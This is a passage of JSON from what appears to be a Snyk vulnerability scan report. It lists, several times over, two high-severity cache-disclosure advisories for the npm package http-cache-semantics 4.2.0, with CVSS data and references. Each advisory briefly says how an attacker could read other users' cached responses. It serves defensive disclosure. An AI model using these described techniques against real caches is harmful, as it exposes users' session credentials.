"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
